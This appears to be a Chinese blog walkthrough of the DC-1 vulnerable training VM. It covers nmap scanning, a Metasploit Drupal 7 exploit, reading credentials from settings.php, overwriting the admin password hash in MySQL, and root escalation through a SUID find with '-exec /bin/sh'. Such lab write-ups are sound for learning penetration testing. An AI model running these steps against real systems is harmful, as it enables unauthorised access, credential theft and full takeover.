一、环境搭建:
1、靶机描述
DC-1是一个专门建立的脆弱实验室,目的是获得渗透测试领域的经验。它是为初学者设计的挑战,但它到底有多容易取决于你的技能和知识,以及你的学习能力。要成功完成这一挑战,您需要掌握Linux技能,熟悉Linux命令行,并具有基本渗透测试工具的经验,例如可以在Kali Linux或Parrot Security OS上找到的工具。有多种方法可以获得根,但是,我为初学者提供了一些包含线索的标志。总共有五个flag,但最终目标是在根的主目录中找到并读取标志。您甚至不需要成为根用户来执行此操作,但是,您将需要根权限。根据您的技能水平,您可以跳过寻找大多数这些标志,然后继续直。初学者可能会遇到他们以前从未遇到过的挑战,但是谷歌搜索应该是获得完成这个挑战所需的信息所必需的。
根据描述信息我们可以知道本靶场环境总共有5个flag。
2、下载靶场环境
靶场下载地址:
二、渗透靶场
本环境重在在于如下两个知识点
Drupal 7 漏洞利用
find 提权
三、首先要把两个虚拟机启动 kali为攻击机 DC-1为靶场机(如果两个虚拟机有一个没有启动实验将无法进行)
1、目标:
目标就是我们搭建的靶场,靶场IP为:XXX.XXX.XXX.XXX/24
- Linux利用ifconfig来查询本虚拟机的IP地址
2、信息收集:寻找靶机真实IP
nmap -sP XXX.XXX.XXX.XXX /24
扫描网段中有哪些主机在线,使用 -sP 参数,不扫描端口,只扫描「存活主机」。
本质上是Ping扫描,能Ping通有回包,就判定主机在线。
3、信息收集:探端口及服务
nmap -A -p- -v 192.168.66.140
-A 综合性扫描
-v 冗余模式。强烈推荐使用这个选项,它会给出扫描过程中的详细信息
发现开放了22算口,开放了ssh服务,OpenSSH 6.0p1
发现开放了80端口,存在web服务,Apache httpd 2.2.22,Drupal 7
发现开放了111端口,开放了rpcbind服务
访问web站点
发现是一个电信的drupal服务,根据nmap结果可知当前运行的是Drupal 7的CMS
searchsploit drupal 7
利用MSF渗透
典型的drupal,启动Metersploit MSF存在drupal模块,尝试使用msf渗透
5、MSF简单命令介绍
Msfconsole 进入MSF控制台
search 搜索相应模块
use 对应模块
show options 查看信息
set rhosts 远程主机ip
run 攻击
6、进入MSF控制台搜索drupal模块
进入MSF控制台msfdb run
搜索drupal模块search drupal
7、选择模块进行测试
用2018的测试
- 设置靶机IP运行msf控制台
- 我们先shell一下 然后在执行whoami
发现是www-data权限
进入home目录,发现flag4.txt文件,提示需要提升权限
10、使用python反弹一个交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
显示了当前路径
11、发现flag1文件
查看www目录下文件,发现flag1.txt文件,打开发现提示信息,内容提示寻找站点的配置文件
12、发现flag2
Drupal的默认配置文件为
/var/www/sites/default/settings.php
查看文件内容
cat /var/www/sites/default/settings.php
发现了flag2和数据库的账号密码
flag2提示,提升权限为root来查看敏感文件
13、mysql -u dbuser -p
查看数据库,切换到drupaldb数据库
show databases; 查看mysql数据库中有哪些数据库
use drupaldb 查看所有用户的信息
show tables; 查看数据库中的所有表名
select * from users; 发现admin信息
- 进入www目录 quit;(exit;)
站点路径下执行
php scripts/password-hash.sh 新密码
然后在进入数据库中把密码字段进行替换
进入mysql,输入密码,切换到drupaldb数据库
mysql -u dbuser -pR0ck3t
use drupaldb
将pass字段进行替换
update users set pass="$S$DP1Ap9LH4p/fiYkxkQsYJfj/rc7pmEzd17IAimm0pDYMcpVTT2tw" where name="admin";
15、发现flag3
登陆战点之后,随便翻一番,发现flag3,
http://192.168.66.140/node#overlay=admin/content
点击flag3进入,发现提示信息
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
大致意思是提权并提示 -exec,想到suid提权 find 命令
SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.
利用此特性,我们可通过SUID进行提权
使用命令查看 suid 权限的可执行二进制程序
find / -perm -4000 2>/dev/null
发现find命令
16、 使用命令测试,发现为root权限
touch 123
ls
find / -name 123 -exec "whoami" \;
17、发现最后的flag文件
我们切换语句进入shell,执行whoami查看当前权限,执行ls查看当前目录下文件,切换到root目录,查看文件,发现cat thefinalflag.txt文件。
find ./ -name 666 -exec "/bin/sh" \;
whoami
ls
cd /root
ls
查看cat thefinalflag.txt文件
cat thefinalflag.txt
18、.发现flag4
此时我们查看 /etc/passwd 文件,发现存在 flag4 用户,我们也可以使用 hydra 进行爆破
cat /etc/passwd
目标完成实验结束
标签:文件,查看,发现,XXX,DC,详解,权限,root,通关 From: https://blog.csdn.net/2401_84810507/article/details/142392061